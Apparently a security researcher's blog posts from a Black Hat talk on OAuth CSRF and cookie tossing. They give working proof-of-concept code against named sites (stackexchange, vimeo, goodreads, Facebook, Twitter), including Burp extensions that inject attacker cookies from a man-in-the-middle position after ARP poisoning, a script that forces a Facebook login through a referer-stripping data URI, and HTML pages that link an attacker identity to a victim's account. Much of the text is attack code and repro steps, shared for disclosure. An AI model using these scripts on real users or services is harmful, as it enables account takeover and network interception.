Sometimes, like in the OAuth case, a CSRF takes a few seconds to complete. Sometimes even a minute or two. Techniques in the past focus mostly on hiding things, or “watching a video”. But there are a few interesting windows methods – moveTo(), moveBy(), resizeTo(), resizeBy() that, maybe in all practicality aren’t really better, but at least it’s funny.

It’s simple to create a script that CSRF’s the user, but jumps everywhere so it’s hard to close. Here it is in action:

Here’s the opener:

<html>
<head></head>
<body>
<title>In your Face</title>
<script>
function openwin() {
window.open("./randomwindow.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1");
}
</script>

<a href="#" onclick="openwin()">click here for stuff</a>
</body>
</html>

and randomwindow.html

<html>
<head></head>
<body>
<title>Google</title>
<script>
function ass() {

    var x = Math.floor((Math.random() * screen.width)-(screen.width*.5));
    var y = Math.floor((Math.random() * screen.height)-(screen.height*.5));
    window.moveBy(x,y);
    document.getElementById("updater").innerHTML += "."
}

setInterval("ass();", 200);
</script>
<div id="updater"></div>
</body>
</html>

Thanks! That’s all for now.

Cookie Tossing in the Middle

In the past I’ve talked about one way to get in the middle as an attacker and use Burp as a MiTM proxy. One very nice thing to do in this position is to write cookies. This is a small part of my Blackhat talk from March, with related posts here.

Bypassing Double Submit Cookies on Vimeo

Say, for example, you have a web app that uses double submit cookies to prevent CSRF. I talk about this too much. You can bypass this protection with XSS in a neighboring site, but here’s how to practically do it as an attacker in the middle (although there are a million ways to do this).

One example is vimeo.com. When I was checking for OAuth CSRF flaws, vimeo seemed to do pretty good. They sent a state parameter and as far as I could tell this piece was fine. But for their generic CSRF protection, I noticed they were using plain double submit cookies. So a default POST request might look like this – note how the highlighted xsrft cookie and token parameter are equal:

vimeo1

It turns out that if you change the CSRF cookie/POST parameter pair, as long as they are equal the request will go through. So for example, even though you can’t read the secret cookie/post parameters without an xss, you could set the cookie (token) equal to “a” and the post parameter (xsrft) also equal to “a”. This is classic double submit. Vimeo relies on the fact that cookies are hard to write to prevent CSRF. On the same network, we can defeat this easily even if the requests are over HTTPS and the cookies are set with “secure”. Here are the hack steps:

  1. Redirect traffic to route through my attacker box, (like with ettercap, or with python and scapy like how I show Here). The goal is to simply arp poison the network and pass through all traffic, except port 80 is redirected to localhost Burp.
  2. Write an oversimplified burp plugin that waits for a specific request on the target domain (e.g. vimeo). This is not necessarily a request initiated by the user, as we’ll be forcing the user to make this request later. If the plugin sees that request, write the xsrft cookie to a known value. Note this will even write over secure/HttpOnly cookies. Although secure can prevent a cookie from being read over HTTP, it does not prevent it being written over. Although HSTS headers can mitigate this somewhat in some browsers, unless they force HTTPS at the root domain and all subdomains, then we can probably force the app to consume our attacker cookie:

    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "vimeo.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "xsrft=bad111bad111; domain=vimeo.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "pwned!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Our attack page doesn’t totally make use of our man in the middle, but it does use it for setting the CSRF cookie. Note the iframe request to http://vimeo.com/asdfasdfasdfasdfasdfasdf – this response will be sent from the burp plugin we have in place. The rest of this attack is the same as my OAuth weakness post from a couple weaks ago. Obviously, there are a lot of improvements that could be made. If we were serious, we’d probably just wait for HTTP requests, insert Javascript into those to do our bidding for us. But this is just a demo.
    <html>
      <body>
       <script type="text/javascript">
    
       function fb_login() {
        return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
       function vimeo_addlogin() {
         return (window.open("./vimeo_submit.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
    
       function pwn() {
         win1 = fb_login();
         //win1.close()
      }
    
       function pwn2() {
         win2 = vimeo_addlogin();
         //win1.close()
      }
    
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to vimeo</li>
       <li>First the cookies need to be set for vimeo.com. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>click "pwn2" - the easiest way to hide this is with 2 clicks</li>
       <li>An attacker now owns your vimeo account!</li>
       </ul>
    
       <!-- necessary to get cookies if we haven't visited facebook -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox></iframe>
       <!--Note this will set our vimeo cookies -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://vimeo.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      <a href="#" onclick="pwn2()">pwn2</a>
      </body>
    </html>
    
    

Here is the attack in action:

Logging Someone into Another site

There was some confusion on my last post with OAuth CSRF I think, about it only being a Facebook problem. I don’t believe this is true. Although Facebook should fix the CSRF on their login imo, in a variety of circumstances it’s still possible to do almost the same attack against sites using other identity providers, like Twitter, Google, etc. (even though these other ID providers don’t have CSRF in their login). One of these circumstances is if there is an XSS somewhere in an ID provider’s neighbor site (e.g. if feedburner.google.com has xss you could log someone in to your attacker Google account). Another of these circumstances is if there is a man in the middle, where you can just manufacture this xss. This is what I’m showing here.

We can modify the OAuth CSRF attack above just slightly, and a man in the middle can compromise these sites with Twitter instead of Facebook. Here are the hack steps.

  1. Redirect traffic to route through my attacker box, as illustrated Here. This simply arp poisons the network, and passes through all traffic, except port 80 is redirected to localhost Burp.
  2. Write a Burp Plugin to toss cookies similar to above. In this case, it will toss cookies into Twitter to log the victim in as the attacker
    
    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "twitter.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "_twitter_sess=BAh7EDoJdXNlcmwrB1DcLEM6D2NyZWF0ZWRfYXRsKwh3WImrPAE6DnJldHVy%250Abl90byJlaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vb2F1dGgvYXV0aGVudGlj%250AYXRlP29hdXRoX3Rva2VuPVVGQ1pYamJaUGMySzNmaFVoWHZjM0Q4ZjAyZXJN%250AUU1oZmxKc21remxrOhNzaG93X2hlbHBfbGluazA6FWluX25ld191c2VyX2Zs%250Ab3cwOgxjc3JmX2lkIiVhMzc3YWM3NjQ1ODJlOTNhODY5YjgyNDVjMjc1YTEw%250AYyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFz%250AaHsABjoKQHVzZWR7ADoTcGFzc3dvcmRfdG9rZW4wOhBzdGF5X3NlY3VyZVQ6%250AG3Nlc3Npb25fcGFzc3dvcmRfdG9rZW4wOgdpZCIlMmU2OGZhNGVjYWY1MGUy%250AMTVkYjllOGU0MTYyMjdiNGE%253D--e649d4f0aa1f2c4108d1539caa322af0ae32c8a4;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023";
    document.cookie = "auth_token=05a111348a605f4f546e60e6584adc4d4c69eacf;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twid=u%3D1127013456%7C0skYHxGKiKD8EF9Yb1fQqI%2F5YVk%3D;Domain=.twitter;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twll=l%3D1360087643;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "Twitter Cookies Tossed!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Once again, continue with a nearly identical attack, but this time using Twitter as the identity provider instead of Facebook. Here is an example against Goodreads. In practice, this is essentially useless since Goodreads is over HTTP, but the same principles apply to sites over HTTPS.
    <html>
      <body>
       <script type="text/javascript">
    
       function pwn() {
         location = "http://www.goodreads.com/user/twitter_sign_in";
      }
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to goodreads</li>
       <li>First the cookies need to be set for twitter. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>An attacker now owns your goodreads account!</li>
       </ul>
    
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://twitter.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      </body>
    </html>
    
    

Here is a video of this in action. Again, what this is doing is arp poisoning the network, logging the victim in to the attacker’s twitter account, and then exploiting the OAuth CSRF. In retrospect, I should have picked on a site that uses HTTPS for better effect :)

Common OAuth issue you can use to take over accounts

TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)

OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.

Here’s an image from Facebook on how this flow can work

fb_login

This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.

Several papers have written about this in the past (http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/, http://sso-analysis.org/) and the spec itself has a section pertaining to CSRF mitigation. The recommendation is generically to pass a state parameter to the identity provider. For this to work, it is necessary for this parameter to be unguessable and tied to the originating site session. Although theoretically these recommendations could be effective, it should come as no surprise that this is difficult to get right.

Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.

The First Attack I thought of

Here’s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:

stackexchange

Using attacks like I’ve chatted about in the past here, here, here and here, I thought this may be vulnerable to something like this:

  1. Toss the cookies into the victim stackoverflow account
  2. The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google)
  3. Associate the attacker’s account with the victim’s account and win!

This is kind of hard to test, since you have to map out all the cookies for each site.

Easier Attack

It turns out there’s an easier way (although above will probably be a problem for a while). Here is the easier way:

  1. Create an attacker identity provider account (e.g. Facebook)
  2. Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook
  3. Victim is logged in to accessing application.
  4. A malicious site does the following:
    1. Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies
    2. POSTs to the account association request
  5. Attacker Logs out of other sessions
  6. At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.

Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you’re the only site I looked at that seemed to do this without any issue :)

Stackexchange, woot.com, etc. Repro

There are a couple ways this similar vulnerability occurs, but I’ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome – they responded in less than a day, and some dev was like “my bad”, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.

Here I’ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.

Walking through the steps above with more stackexchange specific detail:

  • Create an attacker Facebook account
  • Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything

se_perm

  • Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this here. Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it’s definitely more difficult.
//fb_login.html
 function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh"
content="0; url=data:text/html,' +
              '<form id=dynForm method=POST
action=\'https://www.facebook.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=yyy@live.com />' +
              '<input type=hidden name=pass value=xxxxxxxx/>' +
              '<input type=hidden name=default_persistent value=0 />' +
              '<input type=hidden name=timezone value=480 />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}
  post_without_referer();
  • Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.
<html>
  <body>
   <script type="text/javascript">

   function fb_login() {
    return (window.open("./fb_login.html", "_blank",
"status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
  }

   function stackexchange_addlogin() {
     document.getElementById("sForm").submit();
  }



   function pwn() {
     win1 = fb_login();
     setTimeout("stackexchange_addlogin()", 7000);
     //win1.close()
  }

   </script>

   <p>This is just meant to be a dirty/simple PoC, and makes very
little attempt at being stealthy</p>

   <p>To repro:</p>


   <ul>
   <li>login to stackexchange</li>
   <li>click "pwn"</li>
   <li>An attacker now owns your stackexchange account!</li>
   </ul>

   <!-- iframe necessary to get cookies if we haven't visited facebook 
          (needed to put a space modify to put on page)-->
    < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox>< /iframe>


    <form id="sForm"
action="http://stackexchange.com/users/authenticate" method="POST">
      <input type="hidden" name="oauth_version" value="2.0" />
      <input type="hidden" name="oauth_server"
value="https://graph.facebook.com/oauth/authorize"
/>
      <input type="hidden" name="openid_identifier" value="" />
    </form>



  <a href="#" onclick="pwn()">pwn</a>
  </body>
</html>

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